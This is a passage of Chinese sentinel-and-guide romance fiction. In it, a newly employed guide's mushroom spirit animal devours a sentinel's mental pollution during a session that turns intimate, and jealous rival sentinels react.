【明天我们再去做一趟检查。】 通常,污染是避之不及的东西,因为它会摧毁人的精神,最终将人异化成一个怪物,每次外出执行任务,都会受到影响。 它会在精神海中聚集成结,挤占空间,最后以一种高能状态爆开,从而彻底改变一个人的生理构造,异化成堕落种。 向导能够疏解它们,让高危能量聚合体变成更安全、稳定的低能量体。在治疗过程中,可能存在污染经由精神链接,入侵向导,但向导的精神稳定性更强,很难被影响,不久就会消散。 但它仍存在于精神海中,分解是一个漫长的过程,需要哨兵自行承担,当然也会有向导愿意主动帮助对方,吸收消化一部分,但这会给自己带来风险,并不是强制要求。 一般只会对永久标记的哨兵这样做,算是表示对他负责,是自己罩着的人。 这也是哨兵不能在短期内,频繁出任务的原因。如果精神海不稳定,即使是低能量的污染,也有可能会无法承担,导致异化堕落。 至于吃污染…… 如果它真的能做到,并且效率较高,可能会给世界带来新的可能,另一次惊喜。 第二天上午,两人去了一趟精神体检测中心。 山昊:“前面有个垃圾桶。” 她低头看向自己手中的易拉罐,摇头说:“这个暂时不丢,”她抬高,把它放在阳光下,旋转角度,有一个凹口,哪里的皮层很薄,几乎可以透光,再往里旋转,还有数个小豁口。 早上起床时,她准备将垃圾丢进回收箱,发现了这不正常的现象,她的精神体不知道什么时候爬出来,把这瓶子给啃了,就这么饿? 这玩意能吃吗? 男人伸手接过去,“你是说,这是它做的?” 她点头,把它召唤出来的时候,对方还很兴奋地承认了。 两人走进大厅,根据预约,她随着引导走入一个纯白色房间,这里没有任何检测仪器,一个女人走进来,她的身后跟着体型庞大,好似深海章鱼一样的巨物。 “别紧张,先坐下聊聊吧。” 她接过对方喝下的温水,召唤出精神体,不一会儿,眼睛眯起来,逐渐失去了意识。蘑菇见主人昏迷,也剑拔弩张地试图攻击,冲上前,被一团墨水喷射,还没靠近,就也歪七扭八地晕倒在地,被触手裹住,放到一旁的单人沙发上。 过了许久,她悠悠醒来,得知检查已经结束了,好像什么都没发生似的,没有实感,走出房门,看见他坐在大厅的椅子上,还在回消息,也跟着靠过去。 桌子上摆放着早餐和茶水,问她要不要吃点,摇头拒绝了,抬头一看,竟然已经过去了三个小时,快到中午了。想问一问它发生了什么事,但它没反应。 问卷填完,两人走出检测中心,一块吃午餐,不一会儿,报告单传送到光脑男人光脑上,他往下浏览,文件焚毁。 “你的精神体可以吃。” 嗯? “饮料罐?” 指节敲击桌面,他纠正道:“污染。” 不明白这意味着什么,她点点头,继续往嘴里投葡萄,“那很厉害了。” “什么时候,你的精神体恢复好了,及时告诉我。” “好的,长官。” 他们吃完往外走的时候,正碰上一群人来食堂,一个女人朝她打了个招呼,没反应过来这是谁,长官开口:“南希队长。” “中午好,”她从队伍里走出,挥手让其余人先去打饭,转身朝她,“你好,珊珊向导。” 长官不着痕迹地往前走了一步,将她挡在身后,“你们最近情况怎么样?” “还不错,”她的眉毛一抬,“有事吗?” “是这样的,”男人的脸侧过来,“她这两天第一次做疏导,我想找一个污染度低,精神稳定的哨兵,帮她渡过第一次疏导,希望他能非常的克制。” “可以,没问题。”她点了点头,纠察队的大部分队员的精神波动都低,和普通哨兵比起来强的不是一点半点,正因如此才被选入军警,在面对堕化哨兵时还能保持理智、冷静。想找这样的人不难,她自己也算得上。 “还有什么要求吗?” “第一次但不要笨手笨脚,听话、等级不要超过A。”低头看向她,南希笑嘻嘻问道:“你对植物有什么偏好吗?” 她摇了摇头,“那银杏行吗?”这是最稳定的一科了。 “可以。” “好的,珊珊向导,那我们加个通讯,到时候我会把他的信息发给你,你在后台优先通过就行。” 长官截断,“直接联系我就可以。” 门后电梯打开,他率先走进去,她也跟着进去。 电梯上行,长官的脸映照在门上,“做精神疏导的时候,不要让它吃太多了,你的精神体,不一定消化得了,知道吗?” “可以吃吗?” “可以。”他默不作声地点头,仿佛是为这而生的,完全没有副作用,只是这行为意味亲密。 “在结束后,他可能会对你产生一定依赖,这是正常现象,过一段时间就好了,不用搭理他,否则对方会越陷越深,走出不来,明白吗?” 她点头,听说过患者爱上心理医生这种事,但为了长期稳定的工作,她还是不要把工作和生活混在一起,“我会保持一个专业的态度,长官。” 电梯门打开,“好,你回去吧,晚餐时间我来接你。” 她走进宿舍,躺回沙发上,过了一会儿,精神体终于醒了,把它喊出来,它的菌丝和子实体都被染成黑色,跟被漆泼了一样,上手想擦一下,却发现脏的不是外面,而是内部。 “你怎么了?” 对方跟醉酒似的,最后摇摇晃晃比了个爱心,看起来没事,她躺靠在沙发上,开始翻阅向导手册,毕竟明天就要工作了,临阵磨枪,不快也光。 翻开半本,又发现对方身上 的颜色逐渐淡去,还有点发热,好像是没事了,又想起长官的嘱咐,就将消息发了过去。 今天度过了很咸鱼的一天,差不多到睡前,它终于消化好,菌丝还变长了一丢丢,可惜肉眼看不出来,主人也没发现。 它的主人正反复翻看那一本向导手册,只希望明天工作不要出岔子。 第23章 第二天,她早早等在静音室。绿色指示灯闪烁,哨兵的投影出现在桌前,和软件上的照片对上了,是那天她见过的纠察队员。 卡尔,等级为A-,金发碧眼,精神体为银杏,惹人注目的是他已经二十八岁了,据长官说,他还相当年轻,受益于精神体,他们拥有更稳定的精神海、更缓慢的衰老速度,平均比其他哨兵多活二十五年。 确实如此,那天她看见对方,也觉得是个年轻小伙,看起来还略带青涩,没想到已经奔三了。 真是神奇的世界,她看向桌子上盆栽一样躺在陶瓷花盆里的小蘑菇,不知道它会给自己带来什么帮助,真菌也是很神奇的生物,对吧。 他提前十分钟到的,候在门外,不远处有警卫站岗。她准备已久,也不打算等到点,直接开门让他进来。 “卡尔,你好,又见面了。” 他今天没有戴白色头盔,就像普通哨兵一样,身上穿着贴身的衣物,可以窥见身形,脖间系着的项圈侧面闪着绿灯,表明他此时精神状态良好。 两重门合拢,她略带紧张地将他带到椅子前坐下。 “首先,我想感谢你和南希队长。” 卡尔:“向导小姐,这是队长对我下的命令,但更是我的主动诉求,我十分荣幸能够拥有这个机会。” 她有些好奇,“你们精神状态稳定,是不是不太需要精神疏导。” 他略微思索后,说道:“大多数情况是这样的,我们一般不出外勤,不易因为外界因素,诸如气温、湿度、声音、强光等影响。正是因为相对稳定,异化过程缓慢,易于察觉,才被选入纠察队。” “那你们队里都是银杏吗?”她想起队长的名片,“南希向导好像也是。” “不,还有许多其他动、植物。” “好,”她站起身,“那我们开始吧。” 她尝试隔空呼唤它,对方成功接收到消息,从土里钻出来,朝她蹦来,一路上带着泥点,她无奈扶额,转身看见一株缩小版的树已经立在桌子上了,遗憾道:“我去给它洗洗。” “没关系,珊珊向导,我可以这样叫你吗?” 她点了点头,他脸上挂着得体的微笑,和那天僵硬的笑容完全两模两样。 卡尔:“它也喜欢土壤,也许它们可以一起待在土里。” 还能这样? 她惊讶地点了点头,转身去把花盆抱过来,拎着它的菌系放在上面,那棵银杏树叶伸长了根系,将自己挪到花盆里,体型再度缩小。 金灿灿的高大树冠下,一片阴凉的阴影处,蹲着一颗粉白色蘑菇,至于土壤下根系的缠绕,她就看不见了,心想下次要买个透明的玻璃花盆。 坐在对面的男人突然闷哼了一声,双手从桌上放下来,合在腰前,她疑惑地看去,“呃,你还好吗?” 她知道自己的精神体是能吃金属的,搞不好还有点凶残,“它伤害你了吗?”这话有点倒反天罡了,哪怕植物系温和,也不是好欺负的。 卡尔笑着摇头,“我没事。” 没事就好,她之前进行疏导,都是通过自己摸精神体,现在有了小蘑菇,好像自己也可以闲着,但出于对美丽乔木的好奇,仍然凑上去贴近,强势围观。 徐珊珊:“可以摸吗?” “当然。” 让她想起上小学时,学校操场上的那一棵,直径半米长的银杏树,秋季落叶会铺满一地。手指沿着树干,特有的粗糙树皮,即使缩小,仍然摸得出沟壑。 再往上是分叉的树枝,由粗到细,不久金叶散落,重新生出绿叶,长出麦穗似的雄球花,她想摸的时候,树叶簌动了一下,她意识到可能是敏感的部位,收回手,将视线转到自己的精神体。 好像真没她什么事,既然两个精神体相处得很好,她就将注意力转回身前的哨兵,才发现对方的脸连带着耳廓都通红。 “向导小姐,”他的额头上开始渗出汗水,艰难地张开嘴,像是遇到了很糟糕的事,搞得她有些紧张,起身想去按铃,这可不兴出事啊。 第一天上班患者死我病房了,不要啊这种事。 还没起身,手掌就被握住了,对方的手颤抖着,似乎没什么力气,她稍用一下力,对方就捉不住了,“请别走。” 饶是这种时候了,还是非常克制,她一想,这也可能是治疗过程中的正常现象,有的哨兵精神链接时是会比较激动,但他这样,倒是没出现过。 她带着疑惑走近,在单人沙发的扶手边坐下,男人浑身发抖,头颅向上眼,眼睛闭合,但不时轻翻地掀开眼皮,嘴巴张开牙齿却咬紧,偶尔溢出喘息声,都说不出是痛还是爽了。 她没敢碰他,看见对方的脖子呈现黄光,还算正常范围内,但她不知道,这其实很不正常,对于他们来说,很少遇见这种情况,他是绝对的低危类型,出现橙光的哨兵是不能进入纠察队的。 这证明对方的精神波动其实非常大,也就是说,当事人的精神海正遭受着强势的入侵。 她的精神体在对自己进行深度疏导,按理来说,这只会是一次浅层疏导,甚至只要做到抚慰的地步就足够了,对他而言,剩下的慢慢消化。 但它似乎并不满足于此,菌丝在土壤里覆盖树木的根系,纠缠在一起,哪怕对方贴到盆底躲避也追上去,强势地从对方身上引渡污染,不知餍足。 精神海中被钉下标记,一场孢子雨在伞盖下散落,但没有人注意到。 可怜的男人下意识地想贴近她,却见对方避自己如蛇蝎,她下意识地缩回手,想到堂姐的叮嘱,他还是克制的收回手,紧握在胸前。尽力地憋着,眼睛紧闭,直到憋出泪水。 银杏树不断长大,直到撑破花盆的陶壁,越来越粗,矮小的小蘑菇逐渐消失于它身下,它的全身逐渐变黑,徐珊珊注意到这一点,又想起长官说的,她的精神体能够吸收污染,可能此时正在做这件事。 “我牵着你会让你感受好一点吗?” “嗯,”对方的声音很轻,微不可查地点了一下头。 她明白后,毫无疑虑地伸过去,男人手指上扬,但错过了,她扣住另一只手,膝盖抵在分开的两腿中间的沙发垫上,另一只手也五指相扣,整个人埋在他的颈侧,所幸沙发底盘很稳,两人倒在上面,也没有倾倒的迹象。 终于感受到温暖的接触,和梦寐以求的甘甜气息,卡尔张开嘴,深深地喘了一口气,他的头低下,靠在她肩上,嘴张开,牙齿贴在锁骨处。 徐珊珊也很紧张,又低头看了看对方的项圈,橙色,闪过一下橙红,又变成了橙色,还好还好,为了这份工作她也是豁出去了。 “轻点咬,不然我要进医院,你要上法庭。” 可惜她的话他注定是听不见了,光是控制自己的身体就耗尽了全部力气,他松开嘴,高挺的鼻梁贴着刚才留下水印的地方,脸颊贴着,始终没有睁开眼睛,只是用鼻子嗅闻。 她感到汗珠从他的额头,沿着他的鼻梁,流到她的胸前,然后沿着外套滴落,坠到胳膊,最后是两人相扣的手腕间。 精神体惹的祸,她得收拾烂摊子。 眼看着自己给别人做了深度疏导,留下精神烙印,她现在就算说出去也没法洗了。谁信啊,你第一次就把别人酱酱酿酿,还想翻脸不认人。 她开始机械性地模仿书上的话,“不要担心,不要害怕,我就在这里,我会一直 陪着你。” “来,放松……” 两人靠得越来越近,以至于最后她完全贴在对方身上,以至于男人红润的嘴唇贴上来的时候,她还没反应过来,就被人糊了一嘴,他还蹭来蹭去,行吧,她恨恨地看向躲在树干后,一点影子也没见的小蘑菇,你给我等着,事后再教训你。 她松开左手,对方不愿意,胳膊抬起,拢着胳膊上攀,直到那只手扣住他的后脑勺,而湿润柔软的唇瓣吻上来,满足让他放弃了挣扎,转而拥向她的后背,让两人贴得更紧。 水渍声响起,唇舌搅动。 太可怕了,她想,他已经神志不清醒了,舌头还会动,似乎是不满她的发呆,对方轻轻咬了一下她的舌尖。 男人始终闭着眼,她看向对方的脸,就感觉自己在啃小,但一想对方年纪那么大了,谁占谁便宜还不一定呢,情欲也在她身上撩起,直接对男人发起进攻。 不知道过了多久,应该是已经超出了预约时间。 她吻得入神,闭了眼睛睁开眼时才发现,他已经睁了眼,湿漉漉地看着她,徐珊珊有些尴尬地想移开,但被抱住,这回比刚见时热情、主动多了。 她想着要不要解释一下,但又觉得,这不太好。毕竟刚经过疏导的哨兵,对向导的依赖是很强的,更何况是深度疏导,她虽然觉醒了精神体,还是看不见精神力,不知道精神海里,小蘑菇做了什么。 但只要看见它那黑乎乎的身体,大致也能猜出来。 “卡尔……” “嗯?”男人的声音像拉丝的蜂蜜。 她在怀里调整了一个位置,这样可以抬手看时间,还行,早上只有这一个预约,“行了,我没别的事,你想抱就抱吧。” 男人又想把头埋在她肩颈处,还没贴近,她的后脑勺突然被摁住,修长的手指贴着额头,埋进男人胸前,视线漆黑一片,身后传来巨大锐响,附带令人战栗的划玻璃声。 于此同时,银杏树骤然增大,顶立天花板,完全缠绕住整面玻璃,等她再望过去时,已经不露出一条缝了。 “发生了什么?”背对着窗户,她没能看到事情的发生经过,没想到白塔也能受到袭击,着实吓了她一条。 “没什么,你不用在意。” 是一只黑鸢,也就是俗称的老鹰,看起来是哪位哨兵的精神体,它蹲在外面的空调外机旁,盯着他们看了许久,白天在塔边飞行是违反条例的,他竟还敢试图攻击正在工作中的向导。 “让我看看,好吗?” 透过精神体,他看见外面捕捉它的人已经来了,它受到攻击在空中旋转,应该没问题了,将枝条叶片收起来。 于是徐珊珊看到一只从高空坠落的老鹰,它被从高空俯冲的一只中型猛禽击中,另一只鸟速度极快,她几乎看不清对方的身影,那头老鹰还试图朝这里飞来,它的翼展大得能遮蔽整面墙,在她脸上投下阴影,靠近了才发现那尖喙,和两只巨大锋利的巨爪。 它的右脚上挂着脚环,却让她感到熟悉,一时记不起来,好像在哪里见过。见她好奇地起身,卡尔从身后抱住她。 “不要过去。” 空战组的人发疯,他们自己内部会处理。 白色羽毛散开,其中一支落进她窗前,她再一次看见,从高空俯冲下来的游隼,又一次从老鹰的身体穿过,像一道闪电。这一次它彻底像个大风车一样,在众目睽睽下,旋转着坠落。 好一会儿后,坠地声响起。 “请松开吧,”她看向卡尔,虽然两人进行了深度疏导,但毕竟只是见过两面的人,她走上前,捡起地面的白羽,好像在宿舍里也有一根。 好好回想了一番,回头时,男人还站在原地,盯着她的眼睛,以及握住的颈部羽毛。怎么还不走? 徐珊珊:“你好,疏导结束了,如果没有别的事的话……” 卡尔到底是年轻还没经验,红着一张脸,点点头也没说什么,只要听向导的话就好了,将自己的精神体收回去,无论它是否情愿。 男人转身要离开,她突然想起什么,“等一下,留个联系方式吧。” “因为我的精神体比较特殊,后续要是有什么不舒服的地方,及时联系我,好吗?” “好。” 两人互相留了联系方式,他走到门口,还回头望,于是她也伸出手挥了挥,他终于走了。 徐珊珊深呼一口气,终于有时间教训这个家伙了。 她将羽毛收进手提包,挽起袖子,走到桌前,本想好好训它一顿,没想到不需要自己动手,对方整个菌已经不行了,死尸状摊在那里。 “喂,别装死。”用手戳了戳,菌肉反弹,平时都不准自己碰这里的。 “吃饱了?”又戳,没反应,“吃爽了,吃晕了?”还是没反应。 这个家伙,她有些无奈,平时不都是精神体帮助主人吗,怎么到她这儿是反过来。这个饿死鬼把自己吃的晕厥过去,就跟没吃过饱饭一样。 面对着一地狼藉,要不是有扫地机器人,她是真想把它吊起来用绳子抽一顿,让它好好长个记性,个子不大,惹得事不小。 深度疏导的影响是无法消除的,到时候人家顶着她的精神烙印到处跑,她难道就能不负责任,置身事外? 人好好一人,本来不太依赖向导的,过来帮了她一下,反而变成她的狗了,这合适吗? 把这家伙放进水里泡了泡,擦干后收回精神海中,然后喊来机器人收拾静音室,自己也换了衣服。 她和长官告知了这个情况,自己也有些精力不济,恐怕就是被它吃的污染影响。领导批准,推掉下午活动,准备回去补觉,晚饭后再搬到训练营去。 是的,她还要继续参加训练营。 回到宿舍,爬上床,几乎是沾床就睡,因此也错过了别人发来的消息。 第24章 她醒来时发现未接来电,陌生号码,拨回去,三秒内被接起,识别声线,是夏广礼。 “你还好吗?” 徐珊珊:“我没事。” 深海般的靛蓝色晚云,她侧身下床,穿上拖鞋,“我很好,别担心。” 夏广礼:“抱歉,是我失职,没管束好队员,让他冒犯你。”跪坐在一旁宋晓宇听见声音,迷糊仰头,夏广礼决定给他一个机会。 “让他亲自跟你解释。” “其实我没什么,”她回答,“他失控了吗?” 夏广礼:“不,他疯了。” 通话模式调成外放,光脑放在膝盖前方,宋晓宇的双手被束在身后,脖子系上项圈,关在笼子里,头凑上前,身体动弹不得。 对面没发声,她起身整理物品,主要是随身衣物。 等了许久迟迟没反应,她“喂”了好几声,才粗粗听见一声喘息,靴子踢到男人小腿上,冷水从头上浇下,身体一阵哆嗦,宋晓宇终于清醒些,睁开眼,看见队长的嘴型:三分钟。 “向导小姐。” 男人声音沙哑粗粝,她恰好发现,两本书间夹着的白色羽毛,早上老鹰翼展全开的英姿和那天在负三楼,乖巧依偎在她怀里的身影重合,她想起来了。 他的状态听起来不太妙,徐珊珊:“你还好吗?” “我……” 黑鸢颈毛脱落,还有它自行撕扯,露出一片粉色表皮,同他一样被淋成了落汤鸡。但无论私下多难受,都无法搬到当事人面前。 冒犯了对方,却还关心自己,而不是恐惧,或是厌恶。做了这样的事,他竟还想维持体面。 没有因攻击或惩罚而动摇,甚至没吭一声,但此时,却恍然觉得自己,似乎太错了,舌面抬不起,他压下哭腔。 “我很好,对不起,恐怕吓到你了。” “没关系,”手指沿着羽轴摸到尖部,两侧羽枝间无数根羽小枝交叉,羽片呈现流畅的圆弧形。 她并没有受到伤害,甚至没被吓到,但她不明白,“为什么要这么做?” 她还以为,两人关系不错,尽管只见过两次,可交谈时很愉快,因为她违背约定吗? 宋晓宇只是想效仿洛朗他们,想偷偷跟她打个招呼,但从窗外旁观两人接触,越发亲密,发现自己,怎么也控制不住。 夏广礼:“因 为他忘记了自己的身份、职责。” “珊珊,无需对他仁慈,”夏广礼的声音从光脑另一头传来,在房间里回响,“你可以给予他惩罚,这是他应得的。” 场面冷下来,她想起白天的那只游隼,曾经在她□□,温顺亲人,自从救出她后,就没再动手,全力飞回塔,因此她是第一次近距离见识到,它作为空中猎手的强大。 “夏队,可以留我们两个人谈一下吗?” 非常疏离、生硬的称呼,夏广礼:“……好。” 脚步声响起,他走远了。徐珊珊从冰箱里抽出冷藏的食物,准备扔进垃圾桶,又有些舍不得,放上桌,“如果我没记错,你叫宋晓宇?” 没想到她还记住自己,男人有些激动,伸脖子牵扯伤口有些痛意,“对,是我,你还记得我?” “当然”,它的右脚上挂着脚环,很显眼,“抱歉我没有加你的联系方式,因为,”她环顾四周,试图找个好理由,“我不小心把本子弄丢了。” “可以再记一次你的通讯号吗?” 一个带着颤音的“好。” 她又口述重复了一遍,“我记得上次,我摸过你的精神体,”对方正面应答,“对。” “你这次失控,是因为精神海出问题了吗?” “不,我是在完全清醒的情况下做的。” “为什么?” “我无法忍受,你和其他人……”只有单独面对她,才愿意掏出真心话,但他似乎说不下去了,回忆那个场景,头顶像有重物在坠机,一下又一下。 听了他的解释,她大概明白了,白塔把他们催化成了一个恋爱脑,也许是基因缺陷,或者说“进化”带来的缺点。在死亡面前,谁都会恐惧,而这些人形兵器需要精神寄托。 她知道自己的评价,会对他造成深远影响,出于尊重和善意,她会原谅适度冒犯,但也不由得纠正对方,“你知道的,这是我的工作。” “是,”男人低下头,最终将眼泪咽下去,他想和对方成为,两只翱翔于天际的黑鸢夫妇,一双配合默契的夺命杀手,她也说自己喜欢鸟,不是吗? 但世上的鸟类千万种,怎么在其中脱颖而出?她的眼里有许多人的身影,而他不在其中。 夕阳落下后,室内就有些暗,室内灯光自动开启,看见窗外,一群小鸟,向成群的轰炸机一样,排成队列飞过,速度极快,眨眼就不见踪影。 徐珊珊:“那天,你脸上好像受伤了。” “和别人打架,”他感到身上没那么痛了,就好像镇定剂生效,“他也受了伤。” “好,”她没什么兴趣听哨兵对决,照例安慰,“以后小心一点。” 见对方如此宽容,宋晓宇忍不住问道:“向导小姐,他是谁?为什么标记他?” 问题一连串,她简单回复:“植物系的哨兵,对,我标记了他。 没等对方继续追问,她把话题截住,“意外,两人不熟。” 徐珊珊:“惩罚重吗?” 宋晓宇:“我做了错事,依法处置,”他对安排没有异议,唯一担心的,“我还能见到你吗?” “当然,欢迎你预约。”她笑着说,“我可以给你开后门,毕竟我们是朋友,不过仅限一次。” 女人的话无疑给他带来极大的幸福,“我错了,以后我不会再犯这样的错误,请不要放弃我。”最后几个字声音很小,小到几乎听不见,紧接着一双手落下来。 夏广礼俯身捡起光脑,扣到自己手腕上,改成通话模式,于是声音不再外泄,“珊珊,他现在该去隔离室了。” 夏广礼:“你一会儿有什么事吗?” 听起来要来找她,“我待会要吃饭,然后搬去随队向导的训练营。” “那我送你去,怎么样?” “好的,夏队。” 不满于如此生疏的称呼,仅仅是一夜,怎么突然变成了夏队,跟别人没什么两样,“叫我的名字。” “好。” “我来接你。” “好,大概半小时。” 挂断电话,她继续收拾东西,多的没带,就是两本书和做蝙蝠羊毛毡需要用的材料,还包括贴身衣物等,行李箱不重。 夏广礼将犯错的队员送进地下三层,然后乘坐电梯,前往向导所住的楼层,刚踏出去,就看见候梯厅站着一个男人,闻到对方身上,由内而外散发出来的,珊珊的味道,刺激着他的鼻腔和大脑。 “你好,我是夏广礼。” “卡尔。” 夏广礼:“吃过晚饭了吗?”金发男人点了点头。 听见开门声,两人视线抬起,往里看,她的身影逐渐明晰,拖着行李箱,背着书包,滚轮在地上旋转发出轻微噪音。 她的目光首先触及夏广礼,脸上却没带笑意,轻声打招呼:“你来了。” 在她的同意下,他得以越过警卫的检查线,伸手替她接过行李箱,手拎着书包挂绳,“我来背吧。” 女人摇了摇头,里面是一些证件、纸巾,不重。两人并排着往外走,发现左侧站着另一个人,她惊讶地张嘴,“卡尔……” “珊珊向导。”金发男人点了点头,靠过来,双手垂在腰两侧,礼貌地站在一米开外。 她将目光向后望,没人出来,“你来这儿有事吗?” 卡尔:“山昊长官让我送你去训练基地。”顺便帮她提东西。 夏广礼笑着说:“你的领导真贴心。” “噢,”她本想说自己已经有帮手了,但既然是领导指定,两人还刚发生过亲密接触,不好拒绝,脱下背上的书包,对方也顺手接过去,挂在男人背上,像大人背小孩书包,盖不住后背。 她看向夏广礼,本想和他说事,又掺入另外一人,有些不好开口。 电梯路过食堂,却没停,她忘记按下楼层键了,电梯下行得很快,懊恼地皱眉,夏广礼安慰道:“没关系,在营地外不远处有一条小吃街,去那吃也行。” 卡尔:“如果你想去食堂的话,现在停下来,再乘电梯上去,时间来得及。” 夏广礼看向他,“你说的也对,”他将行李箱递过去,“正好我和她都没吃饭,我们去食堂,你在一楼等我们。”摁亮下一层按钮,揽着女人走出去,走向一旁。 卡尔见向导只是抱歉地看了他一眼,没有出声挽留,点头应下,“好,我在下面等你。”他的目光看向徐珊珊,女人身影消失。 电梯闭合,人彻底走了,她才挣开,不至于这样针对卡尔,“你想干什么?” “他身上有你的味道,”夏广礼看着她,竟显得几分委屈,“到处都是,珊珊,为什么要永久标记他?” 男人真正想问的是,他到底哪里比我好,实力、外形、性格? 她转过身,不知道该怎么解释,“真的是不小心,我的精神体无法控制。” “真的吗?” 她点了点头,“我和他真的不太熟,没想到出了意外。” 她没法解释是自己强迫别人,实在难以启齿。解释完,发现这里是猫科联队,没有人影,应该是去食堂了 第25章 夏广礼:“你和他是什么关系?” “他是我的哨兵,”她犹豫了一会儿,还是坦白,“我把他标记了,就该负责,不然对他不好。” “为什么要负责?”他感到不可置信,“他是山昊塞给你的,不喜欢就打发走。”那群人依赖程度低,至少不会像他们一样,变成无法行动、思维麻木的行尸。 “夏广礼,”尾音加重,又想起对方救过自己的命,放轻声音:“为什么对他敌意这么大?” “你的队员失控,该怪到我身上,是我引起的,他就是个局外人,没做过什么错事,不要老扯他。” “要是我这样对你,你能接受吗?” “ ……” 男人丧气地偏头,电梯抵达楼层,滑门开启,三名猫科联队的人在里面,为首的正是阿瑞斯,其余人纷纷往里走,阿瑞斯看见她,凑上来,其余人对视了一眼,绕过他们往里走。 “你是来找我的么?”阿瑞斯很高兴地笑,眨了眨眼睛,直接忽略一侧的男人。 “不,”她没心思应付这么多人,擦肩而过,“再见。”说完就往电梯里走,夏广礼跟在她身后,按向食堂所在的楼层。 阿瑞斯也想跟上去,被人搭肩,正要发作,转头一看,是发小,将手中的餐盒递过去,“干嘛?” “别去了,跟我来。”阿瑞斯狐疑地看向他,根据对方的性子,可能又发现了什么,见门已经合拢,便停下来,同他走进过道。 听到对方说出的消息,一阵暴怒,“你说什么?!” 电梯里。 两人并排站着,却没有说话,而是长久的沉默,她甚至故意将脸偏向另一侧。 夏广礼:“我以后不提这件事了。” “不要生我的气,好吗?” 徐珊珊看过去,终究心软,委屈地说:“我不是故意的。” 这件事并非自她本意,但既然发生了,她不想成为前男友那样的混蛋,既然做了就要对别人负责,就算没什么感情,体面相处也就够了。 只要之后别再发生这样的事,就行了。 晚饭后,夏广礼和卡尔将她送到训练营地,教导员将她带到宿舍,稍微修整了一下后,前往操场集合,数量寥寥的向导方队。 晚上训练强度不高,但她中途加入,比别人晚两天,就费力许多,通过观察别人的动作,模仿学习。 回到宿舍时,后背都被汗液浸湿,她最后抵达,因为之前留在操场上,把精神体拉出来训了一顿。 当时,它像喝醉酒一样,迷迷糊糊的,歪东倒西,强硬地令它站直了。一阵输出后,它终于听懂了,在地上摆出一个波浪线,她又向它确认了三遍,正反两面提问,对方给出的答复正好相对。 她想着要不要造个魔头来恐吓它,就像给小孩讲恐怖故事,不听话要被金鹏鸟抓走。 凉风吹过,转头看见一个男人立在那,背着手,跟个幽灵似的,她缩回头,将精神体收回去,搭着台阶边缘起身,慢慢走回宿舍。 她的两名室友,一个叫克拉拉,清冷美人,拥有银色头发和灰白色瞳孔,好像是被精神体影响的,另一个叫吴可,性格活泼开朗,无敌八卦王,见多识广。 宿舍里,一人滔滔不绝地说,另一人安静地听,极少回复。 她洗漱完躺上床,闭上眼睛,眼皮沉得像有一百只鬼在下面拖,不一会儿就睡着了。 吴可视线上抬,看向这名新来的、沉默寡言的室友,怎么好像比克拉拉更难接近,其实这完全是误会。 克拉拉:“睡吧。” 第二天一早,训练,无休止的训练,汗流浃背的训练,把她嗓子跑冒烟的训练。 终于结束,她拖着身体回到宿舍,一看时间,还有三个小时,她要回白塔的静音室,气喘吁吁地将小蘑菇喊出来,希望它消化好了,这样就可以回白塔,休息一个下午。 它冒了出来,果然,自己的精神体竟然这么强,恐怖如斯!可能也跟卡尔受污染程度不高有关,总之她吸收、净化污染的效率高得惊人。 没有吃饭,她洗漱后就和教导员说,对方确认消息,就让她出门,看着她坐上班车,才往里面走。 训练营宿舍,下午,闹铃响起。 两人下床,换鞋梳头,见另一张床纹丝不动,担心对方迟到被罚,吴可走到床前,扣了扣围栏铁板,“起来了。” 没反应,她又扣了扣,克拉拉瞥了一眼地上的拖鞋,“她走了。”两人收拾好,来到训练场,集合时不见人影,教导员也没点她的名字。也许觉得太辛苦,退出了,克拉拉想,这很正常。 白塔。 中午她匆匆赶回来,直奔领导办公室,汇报情况,没想到对方根本没问卡尔的事,只问了她是否适应。一旁的柜面上,放着偌大的保温盒,“你吃过了吗?” 她摇了摇头,看来是给她准备的,男人从保温盒里将餐盒抬出来,递给她,捧着餐盒往外走,“你要站在走廊吃?” 不然呢?她准备去消防步梯找个地方蹲着,总不能在他办公室吃独食。 “就在这儿吃。” 徐珊珊:“会有味道。” 男人不再解释,手指向沙发,既然他都不介意,自己也无所谓,揭开餐盒,狼吞虎咽,直到食物进入胃部,逐渐恢复力气。 山昊:“最近不要回住处,白塔在做检查,下班后直接回训练营,我让卡尔送你。” “好。” 见她吃完还恹恹的,打了个哈切,餐盒盖紧,不一会儿小机器人走进来,外形改变,将垃圾运出去,丢进回收管道。 “睡一会儿吧。”男人打开一旁休息室的门,里面有张床,她看着他,大脑转得有些慢,吃饱后很容易犯困,点头同意,也没想过,自己睡这儿他睡哪,毫不客气地往里走。 她的光脑在裤兜里,出门前找教导员要回来,定好闹钟,脱了鞋子爬上床,趴在枕头里闭上眼睛。 白塔周围非常安静,没有车流或者施工的声音。 她还没睡到闹铃响,就被喊醒了,头一点一点的,模模糊糊的人影,又闭上了眼,趴回去,“你该起床了,洗个澡……” 说话声不停,她仰起身,掀开毯子,闭着眼睛下床,套鞋子,伸不进去,好像有人在帮自己穿鞋,谁啊。她睁开眼睛,怎么有点熟悉,下一秒惊悚地发现,怎么是领导给我穿小鞋? “长官~”语调里都是没睡醒的娇软,抗拒道:“我自己来就行。” 话还没说完,人家动作已经做完了,站起身,“我送你。” “好。” 还有一个钟头,洗完澡,换衣服,一边吹头发,一边点开光脑,今天下午有两位访客,是系统随机安排的哨兵。 因为和小蘑菇商量好了,这次接触就十分有分寸,没有对别人做出过分举动,但他离开时遗憾的眼神是怎么一回事? 她甩了甩头,刚走的时候没感觉,现在休息了好一会儿,腿突然好酸,悄悄在桌底摁了摁自己的腿,突然握住了一条骨质坚硬的尾巴,她愣了愣,缩回手,腿也老实缩回凳子下。 “不好意思。” “没关系,你想摸吗?” “不,”她摇了摇头,“今天就到这里吧。”治疗结束了,摁下指示灯,目送对方离开。 “啊啊啊——我的腿,”房门合拢,终于结束了。她把脚踝放到桌面上,开始捶打自己的小腿,收效甚微。 趴在桌上慢慢起身,窝进沙发,突然屏幕上又弹出消息,一名访客,哀嚎道:“只剩不到半小时了,你想干嘛?” 但不是预约疏导,只是拜访,凑近一看,是阿瑞斯,想也不想地拒绝了,就想一个人待着,随后光脑上就弹出信息。 架不住一再请求,她在下一次申请时同意了,还有一个人,是卡尔的,也勾选同意。 持有证明,阿瑞斯顺利通过检查,确保身上无武器后,佩戴上电子项圈,通过门上的号码牌,找到了她所在的静音室。 她躺在沙发上,只是翻了个身,露出头,不想爬起来,“有什么事?” 对方蹲在她跟前,手肘放在扶手上,头枕在上面,歪着头看她,衬衫解开纽扣,露出胸肌,“我想你了。” “嗯。”略带敷衍地应下,“还有别的事吗?” 